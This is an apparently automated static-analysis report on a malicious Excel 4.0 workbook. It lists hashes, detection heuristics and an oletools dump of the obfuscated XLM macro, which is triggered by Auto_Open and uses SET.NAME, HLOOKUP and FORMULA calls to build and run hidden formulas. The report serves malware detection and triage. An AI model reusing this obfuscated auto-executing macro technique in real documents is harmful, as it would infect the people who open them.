Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 05a4c632f91903c2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:01 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 6f853c308e8079d432b4f94e50933562 SHA-1: 721b3c746f771b09632d24d35e3c68f086f65cd6 SHA-256: 05a4c632f91903c2141a186a7eae7fdd9cf36a0aa57b3bfaf68b4ca0eacaf16e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6449 bytes
SHA-256: 6232b1ddedd40661aa59908781e8dac4b3e1a562c08c811b94b8313dcd437c2c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ekZ
' 0018     24 LABEL : Cell Value, String Constant - aixgbCOuD len=0 
' 0018     21 LABEL : Cell Value, String Constant - aqRXUO len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C185 
' 0018     25 LABEL : Cell Value, String Constant - bFayZSTYZu len=0 
' 0018     21 LABEL : Cell Value, String Constant - FuNMKe len=0 
' 0018     21 LABEL : Cell Value, String Constant - fvHDsu len=0 
' 0018     25 LABEL : Cell Value, String Constant - FZCajeKQka len=0 
' 0018     24 LABEL : Cell Value, String Constant - gwUeVcXFX len=0 
' 0018     23 LABEL : Cell Value, String Constant - iUwqRaPh len=0 
' 0018     27 LABEL : Cell Value, String Constant - iwehXQbqYToF len=0 
' 0018     27 LABEL : Cell Value, String Constant - JZqDrmdRxzKI len=0 
' 0018     24 LABEL : Cell Value, String Constant - mHLfAtLTQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - mmDivq len=0 
' 0018     23 LABEL : Cell Value, String Constant - MPfEkfrV len=0 
' 0018     25 LABEL : Cell Value, String Constant - NfiaAipPbL len=0 
' 0018     27 LABEL : Cell Value, String Constant - REoqsthvVMGF len=0 
' 0018     20 LABEL : Cell Value, String Constant - Rfnad len=0 
' 0018     25 LABEL : Cell Value, String Constant - tJEmSMosda len=0 
' 0018     27 LABEL : Cell Value, String Constant - VilqbYlKZlGe len=0 
' 0018     21 LABEL : Cell Value, String Constant - zRKaaL len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZyTXun len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ekZ,C99,"SET.NAME("NfiaAipPbL",VALUE("0"))",""
'  ekZ,C101,"SET.NAME("mmDivq",NfiaAipPbL)",""
'  ekZ,C103,"SET.NAME("zRKaaL",NfiaAipPbL)",""
'  ekZ,C108,"SET.NAME("FuNMKe",COUNTA(MPfEkfrV))",""
'  ekZ,C111,"SET.NAME("VilqbYlKZlGe",COUNTA(Rfnad))",""
'  ekZ,C116,[],""
'  ekZ,C120,"SET.NAME("JZqDrmdRxzKI","")",""
'  ekZ,C122,"mmDivq",""
'  ekZ,C124,"SET.NAME("mHLfAtLTQ",HLOOKUP("*",MPfEkfrV,mmDivq,FALSE))",""
'  ekZ,C127,"bFayZSTYZu",""
'  ekZ,C130,"SET.NAME("tJEmSMosda",NfiaAipPbL)",""
'  ekZ,C133,[],""
'  ekZ,C138,"tJEmSMosda",""
'  ekZ,C141,"ZyTXun",""
'  ekZ,C146,"fvHDsu",""
'  ekZ,C150,"iwehXQbqYToF",""
'  ekZ,C154,"SET.NAME("iUwqRaPh",VALUE(HLOOKUP("*",Rfnad,iwehXQbqYToF,FALSE)))",""
'  ekZ,C159,"aqRXUO",""
'  ekZ,C163,"JZqDrmdRxzKI",""
'  ekZ,C165,"zRKaaL",""
'  ekZ,C167,NEXT(),""
'  ekZ,C169,"aixgbCOuD",""
'  ekZ,C173,"SET.NAME("f",INT(T(FORMULA(T(JZqDrmdRxzKI)&"",""&T(aixgbCOuD)))))",""
'  ekZ,C175,"REoqsthvVMGF",""
'  ekZ,C177,NEXT(),""
'  ekZ,C182,RETURN(),""
'  ekZ,C212,"SET.NAME("FZCajeKQka",C99)",""
'  ekZ,C216,"MPfEkfrV",""
'  ekZ,C220,"SET.NAME("Rfnad",R82C14)",""
'  ekZ,C222,"SET.NAME("REoqsthvVMGF",228)",""
'  ekZ,C225,"SET.NAME("gwUeVcXFX",3)",""
'  ekZ,C227,FZCajeKQka(),""
'  ekZ,C228,HALT(),""